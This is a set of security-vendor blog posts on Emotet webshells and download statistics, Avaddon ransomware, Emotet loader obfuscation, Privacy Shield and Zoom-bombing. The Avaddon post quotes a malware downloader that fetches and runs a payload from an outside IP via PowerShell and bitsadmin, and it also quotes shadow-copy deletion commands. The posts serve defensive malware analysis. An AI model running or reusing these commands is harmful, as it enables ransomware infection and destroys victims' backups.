The webshells powering Emotet

The webshells powering Emotet

Summary

The Hornetsecurity Security Lab presents details on the webshells behind the Emotet distribution operation, including insights into payload downloads and how from 2020-07-22 to 2020-07-24 Emotet payloads on Emotet download URLs were replaced with HTML code displaying GIFs. The analysis shows that the number of downloads of the malicious content behind the Emotet download URLs is significant and has been observed peaking at 50,000 downloads per hour. Highlighting that Emotet emails do get clicked. The analysis further shows that compromised websites are not just compromised once but multiple times by different actors and cleanup efforts by the website administrators are often insufficient leading to re-enabling of the malicious Emotet downloads.

Background

Emotet is one of the most prolific malspam actors. They distribute their malware via malspam emails with either a malicious document attachment containing VBA macros or download links to those malicious documents. These malicious documents will then download the Emotet loader from the Emotet download URLs. These downloads are hosted on compromised websites. To this end, the actors behind Emotet use webshell malware on the compromised websites. These webshells are used to place new payloads, either malicious documents distributed via malicious links in emails, or the Emotet loader, on the compromised websites. Because compromised websites get blacklisted or the Emotet malware gets cleaned the actors use up around 300 to 400 URLs a day.

Technical Analysis

In this analysis we take a look at the Emotet webshells.

S.A.P. webshell

If you have access to the filesystem of a website compromised by Emotet getting the webshell used by Emotet is very simple. However, with a bit of luck, relying on misconfigurations in the compromised websites, and relying on another actor in the webshell realm, everyone Emotet webshell samples can be obtained without access to the compromised webservers.

First, the Emotet webshells reside in the directory one level below the directory containing the Emotet download, i.e., either an Emotet maldoc, or the Emotet loader executable download. So if the Emotet download URL is https://www.example.com/wp-includes/LYnUiE/, the webshell will usually reside in https://www.example.com/wp-includes/. However, we also have seen webshells in other directories. Next, we can hope for misconfigurations in the compromised websites and hope the directory containing the webshell is an open directory, i.e., it will list the directory contents as in the following example:

Emotet open directory

In this example, import.php is the Emotet webshell and lpyc42 is the directory that will deliver the Emotet payload. Known filenames of Emotet webshells are user.php, common.php, import.php, update.php, link.php, license.php, menu.php, image.php, options.php, tools.php, core.php, edit.php, functions.php, config.php, and wp-list.php.

Obviously, access to the webshell is protected, i.e., when requesting the import.php file, the PHP code is executed by the webserver and only its output is served. However, on some servers we observed PHP files that had been renamed by adding an additional .suspected extension to the file.

Emotet open directory with renamed webshell (just ignore all the other webshells in that directory :D)

This renaming was actually most likely done by a different malware named Vigilante Malware Cleaner. Information about Vigilante Malware Cleaner was first discovered and documented by Bruce Ediger in 2019 [VigilanteMalwareCleaner]. Existence of this renaming dates back to at least 2015. The Vigilante Malware Cleaner malware seems to compromise already compromised websites, then searches existing PHP files for suspected malware, and disabling suspected malicious PHP scripts by appending .suspected to their filenames and thus excluding the files from the list of files the server will execute as PHP code. This will cause the server to serve the file contents, i.e., the PHP source code of the webshell, directly instead. Using this we can download the PHP code of the Emotet webshell. Before being able to access the webshell the code queries a parameter f_pp, which is used to decode the webshell:

Encoded Emotet webshell

This f_pp parameter functions as a password to the webshell. Via OSINT research we found that the encoded webshell is identical to one found and decoded by another researcher in January [EmotetWebshellSamples].

To illustrate to the reader what someone logging into the this webshell with the correct f_pp parameter would see, we ran the decoded PHP code on a test system:

Emotet S.A.P. v.2.1 webshell

The webshell identifies itself as S.A.P. webshell with version v.2.1. The webshell allows an attacker to search, upload, and download files. It allows to execute arbitrary commands. It further offers convenient tools to dump SQL databases from the server, perform network scans, and/or brute force passwords.

The fact that the decoding processes relies on the f_pp parameter as password and we found multiple instances of the identical encoded webshell code dating back to January strongly suggests that Emotet reuses passwords for their webshells.

GIF hijacking

Even though we do not have logs or other forensic artifacts of the systems in question, we, based on our previous outlined findings, agree with the opinion stated by other researchers that the recent incident in which Emotet downloads were replaced with HTML code displaying GIFs is a result of insufficient security of the Emotet webshells. This hypothesis is supported by the fact that Emotet seems to have changed their webshell on 2020-07-27 and the GIF hijacks stopped. But indications of new GIF hijackings emerged on 2020-07-31. This could be the time it took the GIF replacement actor to figure out the new password. However, new GIF hijackings are not wide spread, which could indicate whatever Emotet is doing to defend itself against the GIF hijackings is working. The used GIFs can be interpreted as a statement towards the actors behind Emotet that the actors behind the GIF replacements are still watching and determined to continue the disruption of the Emotet operation:

Emotet is being watched GIF

Emotet is being watched GIF

On later Emotet compromised websites we also multiple times found variations of the following webshell:

Possible new Emotet webshell

We are, however, not certain this is the new Emotet webshell, but would like to point out that the webshell realm is a very crowded space, e.g. we observed one webserver that had two GIF hijackings, two (presumably) by Vigilante Malware Cleaner to .suspected renamed webshells, as well as, as a new active Emotet download – in just one directory (other parts of the server contained even more webshells):

Emotet opendir with 2 GIF hijackings

This means the website was not once, or twice, but at least three times used as a download for Emotet (2020-07-23 and 2020-07-28). The website would likely still server Emotet payloads but luckily its bandwidth limit was exceeded.

Emotet download stopped working due to exceeded bandwidth limit

So there is a possibility that the actors placing the GIFs are gaining access via a vulnerability of the website itself, or are even affiliated with the Vigilante Malware Cleaner malware. But we are a email security provider and hence do not have enough visibility into the website compromise landscape to make any definit statements.

Download statistics

Talking about download quotas, there is a way to externally monitor Emotet payload download statistics. Emotet uses a PHP script to collect download statistics grouped by operating systems given in the downloader’s User-Agent string. These statistics are delivered as an JSON object in a subdirectory of the Emotet payload download directory named as $path , '/.' . sha1(basename($path)):

Emotet download stats

So the statistics for https://www.example.com/wp-includes/LYnUiE/ could be queried from https://www.example.com/wp-includes/LYnUiE/.a2dd7d055bb668528c29e16f789755fb3aae277b.

Going again by previously shared Emotet webshell code [EmotetWebshellSamples] the numbers correspond to Windows (4), Linux (3), Apple (2), Android (1) and unknown (0) operating systems found in the downloader’s User-Agent string:

Emotet statistic PHP code

We proceeded to scrape these statistics. The counters are reset every time the Emotet Tier 2 servers push updated maldocs and loader executables to the compromised websites via the webshells. Hence, when a new count was higher than a previous count, we took the difference as the number of downloads happening between scrapes. But in case the count is lower then a previous count, we assume the count was reset and take the new count as number of downloads since our last scrape. This way we also nullify stuck download statistics, i.e., download statistics that do not get reset anymore. We scraped with a frequency of 1 minute. Emotet updated the documents with a frequency of around 10 minutes. Because Emotet targets the Windows operating system we only consider the download statistics for the Windows operating system. For 12 hours of 2020-07-29 the obtained statistics of 739 Emotet download URLs (533 of which registered active downloads in the presented time frame) can be visualized as follows:

Emotet downloads on 2020-07-29

This is a stacked plot, i.e., each URLs download number is plotted individually but their total shows the cumulative number of all download URLs. Each different color represents a different Emotet download URL. These figures obviously include downloads by security researchers and automated security systems such as sandboxes. We also miss any downloads that happen between one of our scraping runs and Emotet resetting the download counter. However, the figures still give an interesting insight into Emotet downloads and hence the click rate of Emotet. In our observation the cumulative number of Emotet downloads peaked at 50,000 downloads per hour.

Separating the download URLs by their served payloads (based on MIME type analysis) we can see that most downloads are for the Emotet maldoc. The Emotet loader is downloaded far less often:

Emotet downloads on 2020-07-29

If we plot the download numbers according to time after the URL was first observed we see that each URL’s download numbers peak within the first hour the URL was first observed. At that time each observed Emotet URL got around 200 downloads per hour. However, URLs keep getting downloads even 12 hours after the URL was first observed. Hence, every download URL blocked or taken down is potentially one Emotet victim less, even if the blocking or take down happens 12 hours too late.

The following line plot illustrates individual URL download performance:

Emotet downloads aligned by time URL was first observed

Stacking download figures for URLs the falloff trend can clearly be observed. After 9 hours the number of downloads drops to 1/3 of the downloads observed right after the URL was newly observed:

Emotet downloads aligned by time URL was first observed as stacked plot

We think a proportion of the initial peak can be attributed to automated security systems scanning the Emotet malspam and thus downloading the Emotet maldocs from the Emotet download URLs. This is confirmed by again separating the data in URLs serving the Emotet maldocs and URLs serving the Emotet loader:

Emotet downloads aligned by time URL was first observed

The number of downloads of the Emotet loader has a slower rise to the peak then the downloads of the Emotet maldoc, supporting our hypothesis. Further, there is no steep falloff in Emotet loader downloads.

On average the Emotet loader was downloaded at a rate of around 1500 per hour, while the Emotet maldocs were downloaded at a rate of around 7500 per hour.

Failed cleanup attempts

During monitoring the Emotet download URLs more closely we also witnessed failed cleanup attempts multiple times. Often site administrators delete the directory containing the Emotet download. However, they miss cleaning all the webshells. The actors behind Emotet then simply regenerate the deleted files with their next payload update. We also observed Emotet using a previous compromised website again.

Other observed mistakes

Being such a large operation it is inevitable that the actors behind Emotet make mistakes. While allowing another actor to hijack their payload downloads is one mistake, other mistakes include (but are not limited to) messing up the replacement regular expression, so we could observe download URLs delivering Emotet maldocs with broken filenames, such as InvJP0732{:REGEX:.doc, INVOICE-Q84{:REGEX:.doc, invoice-UBO7631{:REGEX:.doc, etc. We are certain the {:REGEX: part should be {:REGEX:[0-9]{3,6} (or something like that), a special syntax used by the Emotet generation processes to expand the filename base on a random but character restrained pattern. These {:REGEX:[...] patterns have also previously leaked in attachment filenames and are part of Emotets automation process. Please note that depending on your Browser the : in the filenames may be replaced with _ because : is not a valid character on the Windows operating system. Monitoring the Emotet operation very closely reveals a lot of such mistakes overtime and the insights gained can be used to strengthen our own defenses against Emotet.

Conclusion and Countermeasure

As this analysis by the Hornetsecurity Security Lab shows Emotet is not just sent in large volume but its malicious content is also downloaded in significant large numbers.

On the network you should block known Emotet URLs. In case browsing to random websites is not an activity necessary to fulfill your business, you can block the domains and not just the specific URLs. This provides better protection because, as has been shown, Emotet and potentially other actors can misuse the compromised website again, either by regaining access via left behind webshells, or by reinfecting the website via the initial access vector, e.g., a WordPress vulnerability or weak password. The block should be kept even if the Emotet download is gone, as the site may still be compromised. It is highly likely that you will never actually need to visit any of these websites at all, thus keeping the websites blocked shouldn’t cause negativ effects.

Hornetsecurity’s Spam Filter and 365 Threat Monitor, with the highest detection rates on the market, already detects and blocks Emotet emails based on known indicators. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown threats.

 

References

Privacy Shield: The end of transatlantic data exchange?

Privacy Shield: The end of transatlantic data exchange?

+++ INFORMATION +++

Currently, it is recommended that affected data flows be identified and switched to alternatives that meet the required level of protection under GDPR. We would therefore like to assure you that Hornetsecurity’s cloud email security services are not affected by the invalidation of Privacy Shield and can continue to be used as usual.

+++

On 16.07.20 the European Court of Justice (ECJ) overturned the data protection framework between the USA and Europe. Although this does not immediately mean the end of data transfer between the two continents, it does have far-reaching consequences. Let’s take a quick look at it.

Privacy Shield – What does it contain?

The Data Agreement came into force at the beginning of 2016 as the successor to the Safe Harbour Agreement. The aim of the Privacy Shield, according to its creators, was to provide legal certainty not only for a higher level of protection for citizens, but also for European companies that exchange data with the USA. US companies would thus be obliged to store the data of EU citizens for only as long as it was used for the original purpose. Data protection experts criticised this agreement from the very beginning, as they suspected that it would not offer any significant changes compared to the previous safe harbour agreement.
For example, the Privacy Shield offered approaches for better data protection, but this was still far from reaching the European standard. In particular, US secret services were able to access data of EU citizens without any restrictions. This fact prompted the ECJ to declare the Privacy Shield invalid.

Out with the Privacy Shield – and now what?

Can data still flow between the USA and Europe? It is clear that the removal of the Privacy Shield agreement creates confusion. First of all, it is important to realize that a distinction must be made between private individuals and companies. Private individuals can still send private emails to the US or make a booking on a US website. The situation is different for companies.
Around 5,000 companies are directly affected by the ECJ’s decision, as they invoke the Privacy Shield when transferring data to the USA. These include companies such as Facebook, Microsoft and Amazon. In order to initially continue to ensure legal data exchange to the USA, companies can alternatively invoke the standard contract clauses that have been practicable to date. But here, too, the question is: Can these still be valid, even if they cannot exclude access by secret services?
German data protection experts, in particular, are beginning to talk about Europe’s digital independence. The Berlin data protection expert Maja Smoltczyk, for example, calls on those responsible for transferring personal data to the USA to switch to service providers in the EU in order to ensure an adequate level of data protection.
It can therefore be assumed that there will be no ‘go ahead’ in the data protection debate to overcome legal uncertainty.

What does this mean for Hornetsecurity customers?

In principle, Hornetsecurity provides its core service in Germany within secure data centers there. There is no data exchange with the USA and Hornetsecurity is therefore not directly affected by this decision.
All subcontractors in a third country commissioned by Hornetsecurity, who have named the Privacy Shield as the basis for data transmission, also have alternative legal bases, so that if one legal basis is no longer applicable, one of the other possibilities will take over. The two other variants for the transfer of data from the European Economic Area to other countries, especially the USA, are Binding Corporate Rules / binding internal data protection regulations and EU standard contractual clauses/EU standard contractual clauses. Our customers will find the exact information about our subcontractors in the Order Processing Agreement in Annex 3.

Perhaps also of interest to you

Avaddon: From seeking affiliates to in-the-wild in 2 days

Avaddon: From seeking affiliates to in-the-wild in 2 days

Summary

On 2020-06-03 it was reported [1] that a new ransomware calling itself Avaddon was seeking partners for their affiliate program, i.e., someone installing the ransomware on victim systems. Just two days later on 2020-06-05 malspam distributing the Avaddon ransomware has been observed.

This article briefly outlines the first wave of malspam distributing Avaddon ransomware as observed by Hornetsecurity’s Security Lab.

Background

The initial email of the Avaddon ransomware uses a pretend image lure:

Initial email

The attached ZIP archive contains a JSript file that upon execution will download and execute the Avaddon ransomware binary:

Content of ZIP

Technical Analysis

In the following we will analyze the malicous email, the JScript downloader, and last but not least the downloaded Avaddon ransomware binary.

Emails

Emails are send from <name>[0-9]{2}@[0-9]{4}.com sender email addresses. Most of the four number dot com domains ([0-9]{4}.com) are parked domains without any SPF records, hence, blocking on policy grounds is not possible.

The malspam distributing Avaddon ransomware started on 2020-06-04 at around 14:00:00 UTC and are still lasting while writing this report:

Avaddon ransomware malspam wave timeline

The observed wave seems to target CA (Canada):

Avaddon ransomware wave recipient countries

The recipient industries seem to indicate a focus on education institutions at the receiving end of this wave:

Avaddon ransomware wave recipient industries

However, because this is only data from the first wave this should not be interpreted as the final targeting of the Avaddon ransomware.

JScript Downloader

The IMG000000.jpg.js.zip attachment contains the IMG000000.jpg.js JScript downloader:

Avaddon IMG000000.jpg.js JScript downloader

The Avaddon downloader script is simply:

var jsRun=new ActiveXObject('WSCRIPT.Shell');
jsRun.Run("cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('hxxp[:]//217.8.117[.]63/sava[.]exe','%temp%\\5203508738.exe');Start-Process '%temp%\\5203508738.exe'",false);
jsRun.Run("cmd.exe /c bitsadmin /transfer getitman /download /priority high hxxp[:]//217.8.117[.]63/sava[.]exe %temp%\\237502353.exe&start %temp%\\237502353.exe", false);

It uses both PowerShell and the BITSAdmin tool to download the sava.exe Avaddon ransomware file to %temp%\\5203508738.exe and %temp%\\237502353.exe respectively and execute it:

Avaddon ransomware downloader process tree

Avaddon Ransomware sava.exe

The Avaddon ransomware executable is not packed. However, its strings appear Base64 encoded using a custom alphabet. Imports are freely accessible. The Avaddon ransomware uses the Windows crypto API to generate an AES key, with which it then (presumably) encrypts the data. The generated AES key is then exported and encrypted via a previously from the ransomware binary imported key:

Avaddon ransomware generating AES key

Further the Avaddon ransomware deletes the volume shadow copies via wmic.exe SHADOWCOPY /nointeractive and vssadmin.exe Delete Shadows /All /Quiet.

After encryption the Avaddon ransomware changes the desktop background notifying the victim that files have been encrypted and where the instructions to pay the ransom are located:

Avaddon ransomware desktop background

The Avaddon ransomware leaves a file named [0-9]+-readme.html in every directory it encrypts. This file contains the instructions and an .onion link to the ransomware panel:

Avaddon ransomware ransom note

Victims are expected to copy their ransom ID to the linked .onion Tor hidden service website then received further instructions on how to pay the ransom and receive a decrypter.

Conclusion and Remediation

As can be seen from this example malware underground collaboration can speed up the proliferation and distribution of new ransomware.

Hornetsecurity’s Spam and Malware Protection with the highest detection rates on the market already detects and blocks the outlined threat. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown threats.

References

Indicators of Compromise (IOCs)

Hashes

SHA256 Filename Description
05af0cf40590aef24b28fa04c6b4998b7ab3b7f26e60c507adb84f3d837778f2 sava.exe Avaddon ransomware

URLs

  • hxxp[:]//217.8.117[.]63/sava[.]exe
Awaiting the Inevitable Return of Emotet

Awaiting the Inevitable Return of Emotet

Summary

Emotet is probably the most prolific of the recent malware distribution operations. They often change their malware to ensure it is not detected by any anti-virus software. Even though the Emotet botnet is on “spam break” recent changes in a component of the malware has prompted Hornetsecurity’s Security Lab to take a look at the latest version of Emotet in order to be prepared for its next steps. Emotet has added new code obfuscation techniques. But the Security Lab explains how it can still be analyzed.

The updates to Emotet’s loader do not impact Hornetsecurity’s filters as the Emotet loader is never send directly attached to an email. However, the presented analysis and downloadable Ghidra scripts can help other researchers to jump start their Emotet reverse engineering despite the added obfuscation.

 

Background

The malware now commonly known as Emotet was first observed in 2014. It was a banking trojan stealing banking details and banking login credentials from victims. But it pivoted to a malware-as-a-service (MaaS) operation providing malware distribution services to other cybercriminals.

 

Emotet Infection Chain

At least the initial portion of the Emotet infection chain and its used tactics and techniques as defined by the MITRE ATT&CK framework are outlined in the following flow diagram:

Of particular interest is that Emotet steals emails from victims and uses them as templates for new malspam. It uses what is known as email thread hijacking where it replies to old email threads with one of its malicious emails. Victims are much more likely to open emails from known correspondents and even more likely when that email is received in the context of an existing email conversation thread. As a result Emotet distribution campaigns have been very successful. These kind of attacks are one of the main reason why security leaders need to invest into security awareness training to mitigate IT security risks through people.

Emotet is so dangerous because in addition to its own modules to steal victims emails and misuse their computers as C2 and spam servers it delivers other malware, such as TrickBot, which ultimately leads to a Ryuk ransomware infection. So even if a victim cleans the Emotet infection they may already have additional malware running on their system(s) that are not the initial Emotet infection that they cleaned.

When victims become infected with Emotet they become part of the Emotet botnet.

 

Botnet

The Emotet botnet is split into separate botnets. Researchers called them Epoch 1 and 2 because they received payload updates at different times. Each Epoch has its own unique RSA key used for its C2 communication. On 2019-09-17 a portion of the Epoch 1 botnet was separated into the Epoch 3 botnet.

Each bot connects to C2 servers of its Epoch. If a victim is infected by an Emotet document belonging to Epoch 1, the document will download the Emotet loader from the Epoch 1 infrastructure and subsequently become part of Epoch 1.

The current structure of the Emotet botnet’s Tier 1 C2 servers is as follows:

Changes are deployed to the E2 botnet first. It is possible that this is done as a test to ensure that in case of introduced breaking changes only one part of the total botnet is lost.

 

(Recent) History

While we could dig deep into the entangled history of Emotet, its origins and shared code with Feodo, or its relations to Cridex and Dridex, we rather focus on the more recent history.

As hopefully everyone knows that currently (at the time of writing) the Emotet botnet does not send spam. The botnet often has these breaks. But it often comes back from such a break with updates rendering it more dangerously as before. A timeline of recent “spam breaks” is as follows:

Returning 2018-10-31 Emotet delivered a new Email Stealer Module. Returning 2019-09-16 Epoch 3 was split from Epoch 1. In preparation of this publication on 2020-04-29 TrickBot (a notorious malware often distributed via Emotet) has been observed dropping the Emotet loader. Speculations are that due to the long absence in Emotet malspam, which is used to seed the botnet with new bots, and current infections being constantly cleaned, the number of Emotet bots may have shrunk to a critical low number, so they are seeded by the operators behind the TickBot malware in a quid-pro-quo for Emotet’s TrickBot distribution efforts. But these are only speculations and nothing clear is known at this time.

What is known is that now with changes to the Emotet loader being dropped from Epoch 2 since 2020-04-20 the questions are when and with what new tricks will Emotet return this time. Hence, Hornetsecurity’s Security Lab has analyzed the recent changes in the Emotet malware.

 

Technical Analysis

Due to a lack of current Emotet spam we can not analyze any malicious emails or documents. We therefore present an analysis of the Emotet loader binary.

 

Emotet Loader Binary

We analyzed both the “old” version that was dropped from Epoch 1 on 2020-02-20 (which has not received any notable changes since the 2020-02-05 update), and the “new” version dropped from Epoch 2 on 2020-02-20 onwards.

 

Packer

The metadata of the new version contains fragments of news article text. The File Description, Internal Name, Original Filename, Product Name, and Copyright texts are filled with fragments of news articles:

This is another indicator that Emotet uses the same packer as Trickbot, which has been seen with news article text in its metadata shortly before Emotet featured news article texts. Researchers have duped this crypter “Exes’r’rus” [JRoosen].

Because malware packers frequently change, this change is not unusual. It has been seen around 2020-02-14, but The Emotet loader payload can still be extracted via generic (and automated) unpacking mechanisms.

 

Obfuscation

Emotet added more obfuscation. The most notable change is control flow flattening and junk code. This makes the binary more annoying to analyze as well as allow for simpler polymorphic changes. Most of the obfuscation was already added in the 2020-02-05 change.

 

Control Flow Flattening

Control flow flattening is an obfuscation technique. It splits a code sequence into multiple parts and rearranges then in a way that is more difficult to follow. A common way is to place the code parts into a loop and on each loop run executing different code parts in the loop body determined by a state variable.

 

The code sequence:

CODE_1;
CODE_2;
CODE_3;
return;

is turned into:

state = STATE_1
do
{
	if ( state > MAGIC_VALUE_1 )
	{
		if ( state == STATE_2 )
		{
			CODE_2;
			state = STATE_3;
		}
		if ( state == STATE_1 )
		{
			CODE_1;
			state = STATE_2;
		}
	}
	else if ( state == JUNK_STATE_1 )
	{
		JUNK_CODE_1;
		state = STATE_4
	}
	else
	{
		if ( state == STATE_3 )
		{
			JUNK_CODE_2;
			state = JUNK_STATE_1;
		}
		if ( state == STATE_4 )
		{
			CODE_3;
			return;
		}
	}
} while(1);

While semantically identical the second code is harder to follow.

 

In Emotet this looks like:

Emotet uses this to move code blocks around, as can be seen in this example, where the code block setting up the headers of the HTTP C2 communication is near the beginning of the function in one binary and near the end of the function in another binary:

 
Junk Code

Another technique Emotet uses is called junk code. Here useless code that does not change the semantics of a program is added.

The code sequence:

unsigned int function(unsigned int n) 
{ 
    if (n == 0) 
        return 1; 
    return n * function(n - 1); 
}

is turned into:

unsigned int function(unsigned int n) 
{
    unsigned int a = 1234;
    unsigned int b = 4321;
    a = n + b;
    b = n + a;
    if (n == 0 && a > 10 && b > 20)
    {
        b = n - a;
        n = b;
        return 1;
    }
    a = b + 42;
    return n * function(n - 1); 
}

Here the calculations on the variables a and b are irrelevant code. They do not influence the result of the code at all. However, an analyst does not know which calculations are important and which are not. Hence, while semantically identical the second code is harder to understand.

 

Luckily modern analysis software is able to simplify artificially complicated code. So a complex looking function:

is automatically reduced to a return of a static value:

This is used in the next obfuscation method.

 

Opaque Predicates

Opaque predicates are branch conditions for which the outcome is already known, but which still need to be evaluated at runtime. An example would be a code that gets the current time twice. Because time never goes backwards the first value will not be greater than the second:

time_t a = time(NULL);
time_t b = time(NULL);
if ( a <= b )
    CODE;
else
    JUNK_CODE;

While to a human this is logical, a machine would still need to evaluate what values a and b have to determine whether to take the jump or not.

 

Emotet uses functions with a static return value – see previous junk code example above – and uses their return values as a branch condition:

The branches used for control flow flattening also use opaque predicates, as the state variable changes predictable but must be evaluated at runtime.

 

Dynamic Library and Function Resolution

All library calls are dynamically resolved by hash. Previous versions stored the resolved functions. Now they are just-in-time resolved before every call.

 

For each library call, first the library is obtained (emotet_get_lib()). Then the address of the desired function is obtained (emotet_get_func):

Libraries are resolved via the InLoadOrderModuleList reachable from the Process Environment Block (PEB) (FS:[0x30]):

Then the DllBaseName for every loaded module is hashed and compared against the current queried hash. If the hash matches the DllBase is returned. The GET_LIB_XOR_VALUE varies for each binary. This means that library hashes change from sample to sample and can not be pre-calculated. They must be calculated for each sample individually.

 

Addresses of functions are obtained via manually traversal of in this case the export directory data structure. Each exported function name of the previously resolved DLL’s image is iterated over and hashed. If the hash matches the function’s address is returned:

Emotet still uses the same hashing algorithm as previous versions:

The emotet_get_func() function uses a variation without mapping the uppercase characters to lowercase, i.e., its hash is case-sensitive, and ingesting a char string instead of a wchar string. The emotet_hash() function is also heavily laced with junk code, which luckily the decompiler already simplified and/or discarded.

 

Using the Ghidra analysis scripts emotet_lib_imports.py and emotet_func_imports.py the called library and function names can be reconstructed from their hashes:

The following libraries that are usually not loaded into a process by default are loaded via LoadLibraryW:

shell32.dll
userenv.dll
urlmon.dll
wininet.dll
wtsapi32.dll
advapi32.dll
crypt32.dll
shlwapi.dll

Handles to the libraries are stored to allocated memory. But never used. We have found other functions and code paths that are never used. These is likely leftover code that was not removed during code updates.

 

XOR Obfuscation

Strings and the RSA key are (as in previous versions) XOR obfuscated. The use the following structure:

typedef emotet_xor_data_t {
    uint32_t xor_key;
    uint32_t len;
    uint32_t data[];
} emotet_xor_data_t;

They are decrypted by first XOR’ing len with xor_key. Then XOR’ing decoded and to 4-byte boundaries aligned len bytes of data with xor_key:

The XOR key again changes from binary to binary. But still the decoding process can be automated, e.g. the emotet_string_decode.py script can decode used strings:

They are also just-in-time decrypted on demand to a new memory allocation. The memory allocation holding the decrypted string is deleted again after use for every use of the string.

 

Static Analysis Tutorial

With the basics of the new obfuscation techniques covered we quickly outline how Emotet can still be analyzed.

  1. Unpack your Emotet sample. E.g., using the free open source community developed CAPE sandbox [CAPE].
  2. Import into Ghidra [GHIDRA].
  3. Run Auto Analysis.
  4. Run emotet_lib_imports.py with currentAddress in 2nd function called in entry function (this is what we refer to as the emotet_get_lib function).
  5. Run emotet_func_imports.py (selecting func_names.txt) with currentAddress in 3rd function called in entry function (this is what we refer to as the emotet_get_func function).
  6. Run emotet_string_decode.py with currentAddress in emo_*_LoadLibraryW function.
  7. Run emotet_string_decode.py with currentAddress in 1st function called in emo_*_LoadLibraryW function.

Then you have:

  • Comments for library and function resolution.
  • Two enum types emotet_{lib,func}_hash with enums for the library and function hashes, which you can optionally apply to the emotet_get_{lib,func} functions.
  • Emotet strings decrypted and set as comments, labels as well as searchable bookmarks.

C2 communication is found by searching for usage of the HttpSendRequestW function. The type of request and request headers can be found by backtracking via the first parameter (hRequest) to HttpSendRequestW. Alternatively usage of the HttpOpenRequestW function, the InternetConnect function, the POST string, or the Referer: http://%s/%s ... string will yield the relevant code.

C2 IP storage can be found by searching for the %u.%u.%u.%u string. These octets are filled from data in a allocation we named emotet_c2_data. This allocation is filled from a data location we named emotet_c2_list. If you run emotet_ip_decode.py with currentAddress set to the address of emotet_c2_list the C2 list is decoded and annotated as a comment.

The C2 HTTP request template looks like:

POST
Referer: http://%s/%s
Content-Type: multipart/form-data; boundary=%s

--%S
Content-Disposition: form-data; name="%s"; filename="%s"
Content-Type: application/octet-stream

 

RSA key is found by searching the source of the 3rd parameter (pbEncoded) to the CryptDecodeObjectEx function. It is XOR encoded like the strings. You can run emotet_data_decode.py with currentAddress on the data location passed to the function that returns the pointer that is then passed as the 3rd parameter to the CryptDecodeObjectEx function. You can use openssl asn1parse -inform DER -in emotet_key.bin to check if the decoded emotet_key_bin is valid. The key must be the exact length without any appended bytes beyond the ASN1 DER sequence stream.

Search for functions using the OpenSCManagerW function. One function will contain an assignment to a data location. Emotet uses OpenSCManagerW to check whether it has admin rights or not. This is where what we call the is_admin flag is set. Use “Auto Create Structure” on the data reference and name it emotet_data and name the field assigned the value 1 is_admin.

Search for functions using the string %s\%s.exe. This is where the executable path is constructed. In its vicinity the emotet_data data location is accessed. Determine by their usage as parameters to the _snwprintf function which of the two fields in the emotet_data structure is the exe_path and which is the exe_name.

Then use “References -> Find use of emotet_data_t.exe_name” to find out how the exe_name is generated. Do the same for the exe_path. The exe_name will also be used to generate the service name. Relevant code is found by searching for CreateServiceW.
Persistence via run keys is found via RegCreateKeyExW and/or the SOFTWARE\Microsoft\Windows\CurrentVersion\Run string.

Searching for usage of the %s:Zone.Identifier string finds where Emotet deletes its Zone.Identifier ADS, which on Windows is used to mark files downloaded from external sites as potentially unsafe.

As an interesting side note older new versions contained code removing old Emotet binaries which names were generated from word lists:

This functionality has been removed from the latest version, indicating that the migration to the new version has been completed for Epoch 2 and there is no need to delete old binaries anymore:

(Either that or the function has moved and has not been picked up by our string deobfuscator script.)

The following video demonstrates how our scripts can be used to jump start your own analysis of the Emotet loader:

 

Download our scripts on Github.

 

 

Tier 1 C2 geolocation

Emotet’s tier 1 C2 proxies and servers are geolocated all over the world:

(C2 IP list as observed 2020-04-20.)

 

Conclusion and Remediation

To protect against Emotet the US CERT recommends to “implement filters at the email gateway to filter out emails with known malspam indicators” [USCERT].

Hornetsecurity’s Spam and Malware Protection with the highest detection rates on the market are not impacted by the updates to the Emotet loader (as the loader is never send directly via emails) and thus will (as in the past) block all Emotet malspam indicators, such as macro documents used for infection, but also known Emotet download URLs. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown malicious links by dynamically downloaded and executing the potentially malicious content in a monitored and sandboxed environment. Meaning that even in the event the Emotet loader changes is accompanied in a change in delivery tactics, Hornetsecurity is prepared.

Beyond blocking the incoming Emotet emails defenders can use public available information by the Cryptolaemus team, a voluntary group of IT security people banding together to fight Emotet. They provide new information daily via their website [CryptolaemusWeb]. There you can obtain the latest C2 IP list for finding and/or blocking C2 traffic. For real-time updates you can follow their Twitter account [CryptolaemusTwitter].

We acknowledge that our presented analysis only scratches the surface of the Emotet malware complex, but when Emotet returns so will we, with updated analyses of new malicious documents and/or any other new developments.

 

References

 

 

Samples Used

 

Hashes

SHA256 Description
cc96711da9ef7b63d5f1749d8866b0149f84506f9d53d79de018dac92e9443a0 Epoch 1 sample (“old” version) 2020-04-20
4c3acc885006faebe59e0bfdd452499056d8fcc9e6a810d7ff93762ce1a061ad Epoch 1 sample unpacked payload 2020-04-20
4250a3ab9044b4a3a5f8319e712306bb06df61b1dee8b608505c026bacba4aa1 Epoch 2 sample (“new” version) 2020-04-20
14f8463a86bbae338925fbbcb709953ae7f1bffdb065fee540b6fa88fbbce70e Epoch 2 sample unpacked payload 2020-04-20
“Zoom-bombing” Attacks during COVID-19: How can I protect myself?

“Zoom-bombing” Attacks during COVID-19: How can I protect myself?

The video conferencing software Zoom is enjoying enormous popularity because of the recent mass move to working from home. Unfortunately, concerns about the security of the tool have arisen. It was possible for uninvolved parties to join other people’s meetings and contribute unwanted or offensive content – the phenomenon was given the name of “Zoom-bombing.” In this blog post, the experts at Hornetsecurity have some tips on how to use Zoom safely.

In March 2020, Zoom reached 200 million users in one day

During the lockdown caused by the Coronavirus COVID-19 crisis, more and more businesses and people have begun using video conferencing tools, whether to assist them while working from home, teach online classes, see their family or friends, or even organize online parties. Thanks to this videoconference technology, these difficult days are being made a little easier. Can you imagine not being able to do videoconferences during this crisis—especially as a business?

 

For many patients who have been isolated away from their families, being connected via videoconference gives them the ability to see their relatives and not feel alone while recovering. Even if it is through the screen of a smartphone or tablet, feeling connected is what really matters to them during these trying times.

As a result of the current situation, Zoom reached 200 million users per day in March according to data provided by the company. This is a massive increase from December 2019, when the maximum number of participants per day in Zoom video calls was only 10 million.

New type of hijacking: “Zoom-bombing”

Unfortunately, cybercriminals have taken advantage of the coronavirus situation, and on March 30th the FBI alerted the public to the rise of hijacking cases via videoconference, also called “Zoom-bombing.” The FBI has received multiple reports of educational lectures interrupted by pornographic images and/or hate speech and threatening language.

